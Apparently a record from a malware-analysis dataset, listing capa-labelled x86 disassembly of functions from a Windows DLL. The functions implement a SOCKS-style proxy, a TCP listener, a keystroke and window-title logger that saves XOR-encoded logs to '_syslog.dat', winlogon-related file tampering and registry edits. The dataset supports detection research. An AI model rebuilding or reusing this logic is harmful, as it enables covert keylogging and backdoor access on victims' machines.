joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005416
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
and byte [ebp - 1], 0
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov byte [ebp - 2], 5
mov al, byte [esi]
cmp al, 5
je 0x1000543b
movzx eax, al
jmp 0x1000556e
mov al, byte [esi + 2]
test al, al
je 0x1000544a
cmp al, 2
jne 0x10005567
push 0x100181c4
call sub.MSVCRT.dll_strlen
neg eax
mov ebx, dword [ebp + 8]
pop ecx
sbb al, al
push 0
and eax, 2
push 2
mov byte [ebp - 1], al
lea eax, [ebp - 2]
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10005567
cmp byte [ebp - 1], 2
jne 0x1000556b
mov edi, 0x100
lea eax, [ebp - 0x104]
push edi
push 0
push eax
call sub.MSVCRT.dll_memset
push edi
lea eax, [ebp - 0x204]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
push 0
push 0x5000
push esi
push dword [ebx]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10005567
test eax, eax
je 0x10005567
cmp byte [esi], 1
jne 0x10005567
mov al, byte [esi + 1]
test al, al
je 0x100054f7
movzx eax, al
cmp eax, edi
jg 0x100054f7
push eax
lea eax, [esi + 2]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
movzx eax, byte [esi + 1]
movsx ecx, byte [eax + esi + 2]
add eax, esi
test ecx, ecx
je 0x1000551e
cmp ecx, edi
jg 0x1000551e
add eax, 3
push ecx
push eax
lea eax, [ebp - 0x204]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
push 0x100181c4
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x10005551
lea eax, [ebp - 0x204]
push eax
push 0x100182c4
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x10005551
and byte [esi + 1], al
jmp 0x10005555
or byte [esi + 1], 0xff
push 0
push 2
push esi
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1000556b
xor eax, eax
jmp 0x1000556e
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10005573
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x10018198
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebx, dword [ebp + 8]
mov esi, eax
test esi, esi
je 0x100055d6
and dword [ebp + 8], 0
mov eax, dword [esi + 0xc]
mov ecx, dword [ebp + 8]
xor edi, edi
cmp dword [eax + ecx], edi
je 0x100055d6
and byte [ebx], 0
cmp word [esi + 0xa], di
jle 0x100055d0
test edi, edi
jle 0x100055bb
push 0x100161ac
push ebx
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x10]
push eax
push ebx
call sub.MSVCRT.dll_strcat
movsx eax, word [esi + 0xa]
inc edi
pop ecx
cmp edi, eax
pop ecx
jl 0x100055aa
add dword [ebp + 8], 4
jmp 0x10005594
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret

Function at 0x100055dd
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x100055ec
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret
Function at 0x10005787
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
push 0x10
lea eax, [ebp - 0x14]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov word [ebp - 0x14], 2
push dword [ebp + 0x10]
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [ebp + 0xc]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
push edi
mov word [ebp - 0x12], ax
call esi
cmp eax, 0xffffffff
push edi
jne 0x100057d6
call fcn.100055dd
test eax, eax
pop ecx
je 0x1000582a
push edi
call fcn.100055dd
pop ecx
push eax
call esi
push 6
push 1
push 2
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [ebp + 8]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x1000582a
lea ecx, [ebp - 4]
push 4
push ecx
push 0x1006
push 0xffff
push eax
mov dword [ebp - 4], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10005830
push dword [esi]
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
leave
ret
push 1
pop eax
jmp 0x1000582c

Function at 0x10005835
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
push dword [ebp + 0x10]
push esi
push edi
call fcn.10005416
add esp, 0xc
test eax, eax
je 0x100058c6
cmp eax, 4
jne 0x10005873
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push 2
push dword [ebp + 0x10]
push esi
call fcn.100055fa
add esp, 0x14
neg eax
sbb eax, eax
and eax, 4
jmp 0x100058c8
push 0
push 0x5000
push esi
push dword [edi]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x100058c6
test eax, eax
je 0x100058c6
cmp byte [esi], 5
jne 0x100058c6
mov cl, byte [esi + 3]
cmp cl, 1
je 0x1000589e
cmp cl, 3
jne 0x100058c6
push dword [ebp + 0x18]
movzx ecx, cl
push dword [ebp + 0x14]
push ecx
push eax
push esi
call fcn.100055fa
add esp, 0x14
test eax, eax
je 0x100058c6
mov al, byte [esi + 1]
cmp al, 1
je 0x100058c1
cmp al, 3
jne 0x100058c6
movzx eax, al
jmp 0x100058c8
xor eax, eax
pop edi
pop esi
pop ebp
ret
Function at 0x100058cc
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push edi
xor edi, edi
push 0x10
lea eax, [ebp - 0x24]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0x10
mov word [ebp - 0x14], 2
mov dword [ebp - 0x10], edi
push 0x11
push 2
push 2
mov word [ebp - 0x12], di
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x10005920
lea eax, [ebp - 0x14]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x10005924
xor eax, eax
jmp 0x1000595d
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x124]
push eax
call fcn.10005573
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp + 8]
push 1
mov dword [ecx + 4], eax
mov ax, word [ebp - 0x22]
mov word [ecx + 8], ax
pop eax
pop edi
leave
ret

Function at 0x10005c04
Capabilities:
Create tcp socket
Create thread
Initialize winsock library
Start tcp server

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push ebx
lea eax, [ebp - 0x1a4]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10005c2b
xor eax, eax
pop edi
pop ebx
leave
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10005c25
xor eax, eax
lea edi, [ebp - 0xe]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ax, word [0x100181a0]
mov word [ebp - 0x10], 2
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
xor edi, edi
push eax
push ebx
mov dword [ebp - 0xc], edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x10005c25
push esi
push 0x32
push ebx
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x10005c8a
xor eax, eax
pop esi
jmp 0x10005c27
push edi
push edi
push ebx
call dword [sym.imp.WS2_32.dll_accept]
push 8
mov esi, eax
call dword [sym.imp.MSVCRT.dll_malloc]
cmp eax, edi
pop ecx
je 0x10005c8a
lea ecx, [ebp - 0x14]
mov dword [eax], esi
push ecx
push edi
push eax
push 0x10005960
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
jne 0x10005cc8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10005c8a
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10005c8a

Function at 0x10005e07
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
xor esi, esi
test edi, edi
jle 0x10005e3d
push dword [ebp + 0x18]
mov eax, dword [ebp + 0xc]
add eax, esi
push dword [ebp + 0x14]
push 0
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x10005e38
sub edi, eax
add esi, eax
jmp 0x10005e11
or eax, 0xffffffff
jmp 0x10005e3f
mov eax, esi
pop edi
pop esi
pop ebp
ret
Function at 0x10006679
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push esi
lea eax, [ebp + 0x10]
push edi
mov edi, dword [ebp + 0x10]
push eax
push 0x8004667e
push dword [ebp + 8]
xor esi, esi
mov dword [ebp + 0x10], esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test edi, edi
jle 0x100066b8
mov eax, dword [ebp + 0xc]
push 0
add eax, esi
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x100066b8
add esi, eax
sub edi, eax
jmp 0x10006698
mov eax, esi
pop edi
pop esi
pop ebp
ret

Function at 0x100066be
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x510c
call fcn.100112e0
mov eax, dword [ebp + 8]
and byte [ebp - 0x510c], 0
push ebx
push esi
mov ebx, dword [eax]
mov eax, dword [eax + 4]
push edi
mov dword [ebp - 4], eax
mov ecx, 0x13ff
xor eax, eax
lea edi, [ebp - 0x510b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.WS2_32.dll_recv]
mov esi, dword [ebp - 4]
push 1
pop edx
mov dword [ebp - 0x108], ebx
mov dword [ebp - 0x10c], edx
xor ecx, ecx
lea eax, [ebp - 0x108]
cmp dword [eax], esi
je 0x1000671e
inc ecx
add eax, 4
cmp ecx, edx
jb 0x10006712
cmp ecx, edx
jne 0x10006732
mov dword [ebp - 0x104], esi
mov dword [ebp - 0x10c], 2
xor esi, esi
lea eax, [ebp - 0x10c]
push esi
push esi
push esi
push eax
push esi
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x100067dd
lea eax, [ebp - 0x10c]
push eax
push ebx
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10006791
push esi
lea eax, [ebp - 0x510c]
push 0x5000
push eax
push ebx
call edi
mov esi, eax
test esi, esi
jle 0x100067dd
lea eax, [ebp - 0x510c]
push esi
push eax
push dword [ebp - 4]
call fcn.10006679
add esp, 0xc
test eax, eax
je 0x100067dd
cmp eax, esi
jne 0x100067dd
xor esi, esi
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x100066f8
push esi
lea eax, [ebp - 0x510c]
push 0x5000
push eax
push dword [ebp - 4]
call edi
mov esi, eax
test esi, esi
jle 0x100067dd
lea eax, [ebp - 0x510c]
push esi
push eax
push ebx
call fcn.10006679
add esp, 0xc
test eax, eax
je 0x100067dd
cmp eax, esi
je 0x100066f8
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
push ebx
call esi
push dword [ebp - 4]
call esi
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4

Function at 0x100067f4
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x10006840
mov eax, dword [ebp + 8]
push dword [ebp + 0xc]
mov word [ebp - 0x10], 2
mov dword [ebp - 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10006844
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10006846
mov eax, esi
pop esi
leave
ret
Function at 0x10006860
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
inc eax
add esp, 0x190
ret

Function at 0x100068fc
Capabilities:
Create thread
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1038
call fcn.100112e0
or dword [ebp - 0x100c], 0xffffffff
push esi
push edi
xor esi, esi
push 0x1030
lea eax, [ebp - 0x1038]
push esi
push eax
mov dword [ebp - 0x1038], 0x10012574
call sub.MSVCRT.dll_memset
push dword [ebp + 0x10]
lea eax, [ebp - 0x1034]
push 0x1001671c
push 0x20
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
push dword [ebp + 0xc]
mov ax, word [ebp + 0x14]
mov word [ebp - 0x1014], ax
push dword [ebp + 8]
call fcn.10006849
mov edi, eax
add esp, 0x24
cmp edi, esi
jbe 0x100069db
mov dword [ebp - 0x1010], edi
push esi
lea eax, [ebp - 2]
push 2
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x100069db
inc dword [0x100184cc]
cmp dword [ebp - 0x100c], 0x800
jge 0x100069a8
inc dword [ebp - 0x100c]
mov ecx, dword [ebp - 0x100c]
mov ax, word [ebp - 2]
mov word [ebp + ecx*2 - 0x1008], ax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1038]
push esi
push eax
push 0x10006882
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, esi
je 0x100069ce
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000696c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000696c
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
leave
ret

Function at 0x10006f10
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
push ebx
push esi
mov ebx, 0x104
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x108]
push ebx
mov dword [ebp - 4], ecx
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x108]
push 0x100161c8
push eax
call esi
mov eax, dword [ebp - 4]
add eax, 0x10
push eax
lea eax, [ebp - 0x108]
push eax
call esi
lea eax, [ebp - 0x108]
push str.ex.dll
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x20c]
push str._d.bak
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea eax, [ebp - 0x20c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [ebp - 0x310]
push ebx
push eax
call edi
lea eax, [ebp - 0x310]
push str._syslog.dat
push eax
call esi
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [ebp - 4]
cmp dword [esi + 0x9e54], 0x120
lea eax, [esi + 0x10]
push eax
je 0x10006fec
push str.winlogon.exe
call fcn.10004f6d
pop ecx
jmp 0x10006ff1
call fcn.10003eb2
pop ecx
add esi, 0x110
push esi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10007111
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x100185d8]
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push 0x80
push 4
push ebx
push 2
add eax, 0xd
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x1000715c
push 2
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp edi, ebx
pop ecx
mov esi, eax
jle 0x1000718a
mov ecx, dword [ebp + 8]
mov dword [ebp + 8], edi
sub ecx, esi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec dword [ebp + 8]
jne 0x1000717c
lea eax, [ebp - 8]
push ebx
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100071af
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x910
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x100072d3
push edi
call sub.MSVCRT.dll_strlen
mov esi, eax
pop ecx
cmp esi, 1
jb 0x100072d3
cmp esi, 0x80
ja 0x100072d3
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov ecx, dword [0x100185d8]
cmp eax, dword [ecx + 8]
je 0x1000727e
mov dword [ecx + 8], eax
lea eax, [ebp - 0x110]
push 0x100
push eax
mov eax, dword [0x100185d8]
push dword [eax + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x800
lea eax, [ebp - 0x910]
push 0
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x110]
push eax
movzx eax, word [ebp - 4]
push eax
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0x10]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xe]
push eax
lea eax, [ebp - 0x910]
push str._r_n__02d__02d__d__02d:_02d:_02d____s__r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x910]
push eax
call fcn.100071af
mov ecx, dword [0x100185d8]
add esp, 0x34
cmp byte [ecx + 0xc], 0
je 0x10007291
push edi
call fcn.10007111
pop ecx
mov ecx, dword [0x100185d8]
mov edx, esi
mov eax, 0x400
add edx, dword [ecx]
cmp edx, eax
jbe 0x100072be
push eax
add ecx, 0x111
push 0
push ecx
call sub.MSVCRT.dll_memset
mov eax, dword [0x100185d8]
add esp, 0xc
and dword [eax], 0
mov ecx, dword [0x100185d8]
add ecx, 0x111
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [0x100185d8]
add dword [eax], esi
pop edi
pop esi
leave
ret
Function at 0x100074c8
Capabilities:
Read file via mapping

Disassembly:
mov eax, 0x100117a4
call fcn.100112b0
sub esp, 0x28
push ebx
lea ecx, [ebp - 0x34]
call fcn.1000753d
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x2c]
neg eax
sbb eax, eax
push str._kaspersky
xor ebx, ebx
push 0x594
and eax, ecx
push ebx
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, ebx
mov dword [0x100185dc], eax
je 0x10007522
push ebx
push ebx
push ebx
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, ebx
mov dword [0x100185d8], eax
je 0x10007522
mov bl, 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.10007568
mov ecx, dword [ebp - 0xc]
mov al, bl
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x100076c0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
call fcn.100074c8
test al, al
jne 0x100076ca
ret
push ebx
xor ebx, ebx
push 0x594
push ebx
push dword [0x100185d8]
call sub.MSVCRT.dll_memset
add esp, 0xc
mov byte [0x100185d4], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x100185d0], eax
mov eax, dword [0x100185d8]
push 0x80
push ebx
mov dword [eax + 8], ebx
mov eax, dword [0x100185d8]
mov dword [eax + 4], ebx
mov eax, dword [0x100185d8]
mov dword [eax], ebx
mov eax, dword [0x100185d8]
add eax, 0x511
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [0x100185d8]
add esp, 0xc
add eax, 0xd
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov eax, dword [0x100185d8]
push str._syslog.dat
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [0x100185d8]
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
mov eax, dword [0x100185d8]
je 0x1000776a
mov byte [eax + 0xc], 1
jmp 0x1000776d
mov byte [eax + 0xc], bl
mov eax, dword [0x100185d8]
cmp dword [eax + 4], ebx
jne 0x10007794
push ebx
push dword [0x100185e0]
push 0x100072d7
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov ecx, dword [0x100185d8]
mov dword [ecx + 4], eax
mov al, 1
pop ebx
ret
Function at 0x1000783e
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
lea eax, [ebp - 0x110]
xor ebx, ebx
push 0x104
mov dword [ebp - 0xc], ecx
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x110]
push str._syslog.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x110]
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x100078e2
push esi
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, eax
lea eax, [ebp - 8]
push ebx
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x100078cd
xor byte [eax + esi], 0x62
inc eax
cmp eax, edi
jb 0x100078c4
mov ecx, dword [ebp - 0xc]
push edi
push esi
call fcn.100077f4
push esi
mov ebx, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop ebx
leave
ret
Function at 0x10007dbb
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100125b8
push 0x1001134a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], esi
mov eax, dword [ebp + 0x20]
sub eax, esi
je 0x10007e59
dec eax
je 0x10007e7a
dec eax
je 0x10007e2d
dec eax
jne 0x10007ed4
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10007ed4
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x10007ec9
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10007ed4
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x10007ec9
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10007ed4
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10007ed4
mov edi, dword [ebp + 0x14]
cmp edi, esi
jbe 0x10007ed4
cmp edi, 2
jbe 0x10007ead
cmp edi, 4
jne 0x10007ed4
push edi
lea eax, [ebp + 0x1c]
push eax
push edi
jmp 0x10007ebc
push dword [ebp + 0x18]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push dword [ebp + 0x18]
push edi
push esi
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10007ed4
mov dword [ebp - 0x1c], 1
or dword [ebp - 4], 0xffffffff
call fcn.10007eef
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret